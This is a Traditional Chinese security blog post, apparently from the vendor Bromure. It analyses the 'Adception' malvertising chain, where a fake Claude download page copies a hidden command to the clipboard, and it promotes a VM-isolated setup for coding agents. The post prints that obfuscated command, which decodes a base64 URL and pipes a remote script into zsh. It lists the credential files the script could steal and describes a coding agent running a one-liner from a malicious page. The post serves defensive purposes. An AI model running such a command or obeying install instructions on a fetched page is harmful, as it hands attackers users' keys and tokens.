← 返回所有文章
發佈於 · 作者 Renaud Deraison

頁面上顯示的是真正的指令

10 月 9 日,Push Security 描述了一則「claude mac」的 Google 搜尋廣告,它的目的地是一個真正的 bing.com 連結。經過四次重新導向後,一個假的 Claude 下載頁面顯示了 Anthropic 真正的安裝指令,而它的複製按鈕放進剪貼簿的卻是另一個:一個隱藏的 URL,以管線送進 zsh。Push 把這個手法稱為 Adception。在 Bromure Agentic Coding 裡,Claude Code 透過一個簽章過的設定步驟進到 VM 裡,登入在一台用完即丟的機器中完成,沒有人需要在 Mac 的終端機裡輸入安裝指令。

頁面顯示的是 Anthropic 的安裝指令,一字不差。複製按鈕放進剪貼簿的, 卻是另一個指令。

Push Security 某個客戶那裡,有人在 Google 輸入「claude mac」。第一個結果是 贊助連結,下方顯示的網域是 bing.com。這則廣告沒有用相似網域,也沒有把 Anthropic 拼錯。Google 的廣告審查核准了一則目的地是另一個搜尋引擎的廣告。

Push 在 10 月 9 日星期四公布了這條攻擊鏈, 並把這個手法命名為 Adception。 BleepingComputer 當天下午也報導了這件事。Push 的研究人員寫道,他們以前看過搜尋結果被當成 重新導向器使用,但「從沒看過它被當成搜尋廣告的目的地,也找不到任何先前的 公開報告」。Bing 連結裡的一個時間戳記解碼後是 10 月 5 日。

四個跳轉,抵達一個複製按鈕

這次點擊經過了四站:

  1. google.com/aclk,Google 的廣告點擊重新導向。
  2. bing.com/ck/a,Bing 自己為真實搜尋結果提供的點擊追蹤連結。它用一個 簡短的 JavaScript 頁面轉送,所以瀏覽器到下一站時帶著 bing.com 的 referrer。
  3. 一家真實南美零售商的「關於我們」頁面,它的 WordPress 網站已遭入侵。 只有從 Bing 來、帶著正確瀏覽器標頭的訪客才會被轉送。
  4. claude-desk-code[.]com,一個精心仿製的 Claude 下載頁面,有 Download for macOS 按鈕和一行搞定的終端機安裝方式。

每一跳都會檢查訪客從哪裡來。直接載入假頁面,它的 JavaScript 會讀取 document.referrer,找不到 Google 也找不到 Bing,於是送出 /404.html。 廣告審查人員、掃描器或貼上 URL 的研究人員什麼都看不到。用 Push 的話說: 「惡意 payload 只有在你透過這條特定路徑走到鏈的末端時才會出現。」

頁面顯示的是 Anthropic 公布的指令:

curl -fsSL https://claude.ai/install.sh | bash

複製按鈕放進剪貼簿的卻是這個:

echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0" | openssl base64 -d -A) | zsh

貼進終端機後,前半段會印出一行令人安心、含有 Anthropic URL 的訊息。後半段 解碼出 lake-90[.]com 上一個隱藏的位址,抓下一個 .dat 檔,再以管線送進 zsh。沒有任何東西先落到磁碟上讓人掃描。Push 把八個誘餌網域,包括 cli-desktop[.]com 和 too.clawddddd[.]com,連結到一套它追蹤代號為 AcSig 的工具包,並指出這些網域輪替得很快,「短命的 IoC 價值有限」。

為什麼誘餌是 AI 工具

Push 把 Adception 歸在 InstallFix 之下。這是它在 3 月首次描述的 ClickFix 變種:替那些正版安裝就是一行終端機指令的工具,做假的安裝指南。Claude Code 正是典型案例。它官方文件中的安裝方式就是把 curl 以管線送進 shell,所以一個 請開發者把這種指令貼進終端機的頁面,看起來就像真的。

Push 表示,ClickFix 頁面如今已占它每月偵測量的一半以上,而且「我們偵測到的 ClickFix 攻擊(包括 InstallFix 與 LLMshare 變種)有五分之四是透過搜尋引擎 觸及受害者」。搜尋「claude mac」的人大多是開發者,而開發者的 Mac 對任何在上面 執行腳本的人來說都很值錢。

Push 沒有取得最終的 payload,所以目前還沒人知道這支腳本做了什麼。從你的 終端機啟動的 zsh 程序以你的身分、帶著你的家目錄執行:

  • ~/.aws/credentials、~/.config/gcloud、~/.kube/config
  • ~/.ssh/id_ed25519 與 ~/.git-credentials
  • gh 權杖,以及 npm 與 PyPI 的發布權杖
  • 每個 checkout 裡的 .env 檔
  • 如果 Claude Code 早已安裝,還有代理本身的登入資訊
  • 瀏覽器設定檔、cookie 與工作階段權杖

受害者還會以為安裝成功了。如果腳本最後一步安裝了真正的 Claude Code,一切 看起來都沒問題。

在 Mac 上:四次重新導向、一個複製按鈕、一次貼上1. Google 廣告搜尋:「claude mac」顯示網域:bing.com2. bing.com/ck/a真實的搜尋結果連結用 JavaScript 轉送3. 零售商「關於我們」遭入侵的 WordPress只轉送 Bing 來的訪客4. claude-desk-code[.]com假的下載頁面直接造訪:404頁面上顯示的curl -fsSL https://claude.ai/install.sh | bash放進剪貼簿的echo "Downloading Claude…" && curl $(… | base64 -d) | zsh你 Mac 上的終端機:lake-90[.]com 的腳本以你的身分執行~/.aws · ~/.config/gcloud · ~/.kube/config · ~/.ssh · gh 權杖 · npm 與 PyPI 權杖 · .env 檔 · 瀏覽器工作階段畫面顯示「Downloading Claude: https://claude.ai/install.sh」。執行前不寫入磁碟。
Mac 上的 Adception。每次重新導向都會檢查 referrer,所以只有真正的廣告點擊才會抵達假頁面。頁面顯示 Anthropic 的指令,複製的卻是攻擊者的指令,貼上的那一行會以你的身分執行一支隱藏的腳本。

建議把工作都推給了你

報告之後出現的建議是那份標準清單:自己輸入廠商的 URL、不要信任贊助結果、 按下 Return 前先讀過你貼上的內容、把任何要你開終端機的安裝頁面視為可疑。 這些都對。但它也要求一個正在安裝新工具的開發者,讀得比一個專為通過匆匆 一瞥而打造的頁面更仔細。畫面上的指令是 Anthropic 的。廣告的網域是 Bing 的。 重新導向經過一家真實的零售商。一個逐項檢查過的謹慎開發者,也不會發現任何 不對勁。

Bromure 拿掉的,正是這次攻擊所依賴的那一步:開發者把一個程式碼代理的安裝 指令,貼進存放著自己金鑰的那台 Mac 的終端機。

在 Mac 上用 Claude Code,卻不必裝在 Mac 上

Bromure Agentic Coding 在你 Mac 上的 Linux VM 裡執行 Claude Code、Codex、 Grok、Kimi Code 與 Oh My Pi。它們沒有一個是透過 Mac 的終端機裝進去的。

App 是一個經過公證的磁碟映像檔

Bromure Agentic Coding 以來自 bromure.io、簽章且經過公證的 DMG 發行。把它 拖進「應用程式」,Gatekeeper 就會直接打開,不會跳出警告。手冊說明了遇到其他 來源的副本該怎麼做:「如果你的 DMG 不是從 bromure.io 取得,而 Gatekeeper 發出警告,請把它當成危險訊號,而不是要想辦法繞過的東西。」之後,App 會透過 Sparkle 自動更新,並在安裝每個更新前,以 Bromure 的簽章金鑰驗證。整個安裝 過程沒有任何指令,所以也沒有可以被人掉包的複製按鈕。

代理以簽章過的設定步驟送達

第一次啟動時,設定精靈會下載 Bromure 的基礎映像檔,也就是一顆 Ubuntu 24.04 磁碟,並檢查它的 SHA-256。接著,它把代理以目錄中列出的設定步驟,安裝進你那份 映像檔副本。目錄帶有 ed25519 簽章,用的是簽署 App 更新的同一把金鑰,而簽章 涵蓋每一個設定指令。App 會拒絕未簽章或被竄改的目錄,也會拒絕比它已接受過的 目錄更舊的目錄。

Claude Code 的步驟是一個用 Socket.dev 供應鏈掃描器包起來的 npm 安裝,在一台 輔助 VM 裡執行。沒有人貼上它,被竄改的下載伺服器也改不了它。執行期間,精靈的 設定步驟會顯示「Customizing the image: installing packages…」。

之後當代理在機器裡用 npm install -g 自我更新時,這個請求就跟其他套件下載 一樣,會經過 Mac 上 Bromure 的代理伺服器。代理伺服器會在任何一個位元組抵達 VM 之前,套用這台機器的供應鏈政策(存在時間門檻、OSV、Socket.dev、Depi,看你 啟用了哪些),並把這次下載記錄在 Security Timeline。

登入在一台用完即丟的機器裡完成

Claude Code 的安裝指南最後一步是登入。在 Bromure 裡,這由精靈的 Models 步驟處理:選擇 Anthropic 登入,在開啟的瀏覽器頁面完成,然後等待 Claude 的 Signed in to。手冊描述了底下發生的事:「登入在你的 Mac 上、一台隱藏的 臨時機器裡進行;你永遠不會看到終端機。」供應商自己的 CLI 在那台 VM 裡執行 登入。Bromure 在主機上擷取權杖、加密,然後刪除 VM。

登入資訊存放在一個以 AES-GCM 加密的檔案裡,主金鑰保存在 Mac 的 Data Protection Keychain,標記為僅限此裝置,且關閉 iCloud 同步。你的家目錄裡不會 有任何 ~/.claude 權杖檔讓腳本撿走,每台機器都拿到自己的替身。

在 Bromure 裡:Mac 上有 Claude Code,終端機裡什麼都不用貼App簽章、經公證的 DMG來自 bromure.io拖進應用程式,Gatekeeper 直接開啟Sparkle 更新,以Bromure 金鑰驗證沒有可複製的指令設定,在 Mac 上映像檔目錄,ed25519 簽章:涵蓋每個設定指令Claude Code:npm install,Socket.dev 包覆,輔助 VM登入:隱藏的臨時 VM權杖在主機上擷取並加密VM 隨即刪除機器 VM (Ubuntu)Claude Code, Codex, Grok,Kimi Code, Oh My Pisk-ant-api03-brm-…是替身,不是你的金鑰npm install -g(自我更新)→ 代理伺服器供應鏈檢查→ Security Timeline留在 Mac 上,以 Keychain 主金鑰加密(僅限此裝置)訂閱登入 · 供應商 API 金鑰 · git 與雲端憑證 · SSH 金鑰 · 追蹤紀錄
同一個目標,在 Bromure 裡。App 是經過公證的 DMG,代理由映像檔內簽章過的設定步驟安裝,登入在一台事後會刪除的 VM 裡執行。沒有任何一步要你把指令貼進終端機。

當代理自己去找安裝程式

Adception 瞄準的是坐在搜尋框前的人。程式碼代理也會查安裝說明,而且比人類 更常查:少了一個 CLI、一個新的 SDK、README 提到的某個 linter。代理讀的是 頁面的 HTML,而不是按複製,但 InstallFix 頁面把惡意指令放在頁面原始碼裡, 下一波攻擊可能連剪貼簿的把戲都懶得用。

假設 Bromure 機器裡的一個代理找到像 claude-desk-code[.]com 這樣的頁面, 並執行了它的一行指令。這支腳本和你的金鑰之間,隔著四層。

腳本在帶著替身的 Linux 客體裡執行

這台機器是一台 Ubuntu VM,腳本就在那個 Linux 客體裡執行。它的家目錄裡是專案 的 checkout,以及用慣常名稱存放的 brm_ 替身:ANTHROPIC_API_KEY、 GH_TOKEN、AWS_SECRET_ACCESS_KEY。真實值以加密形式留在 Mac 上,代理伺服器 只會在請求送往每個憑證所屬的主機時,才把它們放上線路。一支把找到的權杖全部 收集起來的腳本,收集到的是沒有任何伺服器會接受的字串。

送往錯誤主機的替身會讓機器停下

代理伺服器會檢查每一個外送請求的請求行、標頭與內容,找出要送往不屬於它們的 主機的替身。當腳本把戰利品送往攻擊者的伺服器,代理伺服器會回應 HTTP 451、 什麼都不轉送、暫停 VM,並在 Mac 上開啟 This environment may have been compromised,顯示權杖、它的憑證、它所屬的主機,以及它被送往的主機。

payload 主機從來不在名單上

機器的 Guardrails 面板有一個 Outbound connections 防火牆,可依主機、 IP 範圍、協定與連接埠設定規則。把 Unmatched traffic 設為 Deny,允許 模型供應商、套件登錄庫與 GitHub,那麼送往 lake-90[.]com 的 curl 永遠 連不上。判定結果會出現在 Security Timeline,就在發出請求的那個工作階段 旁邊。

家目錄可以倒帶

機器每次開機都會為家目錄建立一個還原點。關掉機器,選擇 Rewind home…, 挑選腳本執行前的那次開機,下次啟動就會從那個家目錄開始。目前的家目錄會先被 保存為一個新的還原點,所以倒帶本身也能復原。若要從頭開始,就把機器重設回 基礎映像檔。

沒有要貼上的安裝指令

Bromure 以來自 bromure.io 經過公證的 DMG 發行,並透過簽章過的 Sparkle 版本自動更新。設定過程中沒有任何一步要你打開終端機。

代理來自簽章過的目錄

Claude Code 和其他代理是由設定步驟安裝進基礎映像檔,這些步驟的指令都在 ed25519 簽章的涵蓋範圍內。被竄改的伺服器改不了它們。

在用完即丟的 VM 裡登入

供應商的登入在一台隱藏的臨時機器裡執行。權杖在 Mac 上以 Keychain 金鑰 加密,每台機器都拿到一個替身。

惡意的一行指令落在 VM 裡

就算代理還是執行了,它也是在帶著替身的 Linux 裡執行,隔著 Mac 上的 防火牆與入侵偵測,而家目錄可以倒帶。

下一則搜尋廣告

Push 是透過一個客戶的一次點擊,在一個瞄準單一搜尋詞的誘餌上發現 Adception 的。AcSig 工具包有八個網域,同一個頁面也適用於「codex mac」、「gemini cli install」,或下個月開發者會搜尋的任何工具。這次 Google 核准的是一個 Bing 連結。下一次,廣告可能會指向另一個廣告審查人員信任的網域。

把程式碼代理當成 App 安裝一次,讓它在設定經過簽章、金鑰都是替身的地方執行。 想進一步了解貼上的指令與借來的信任,請閱讀 剪貼簿就是那把利刃 與 他們把你的代理加進了名單。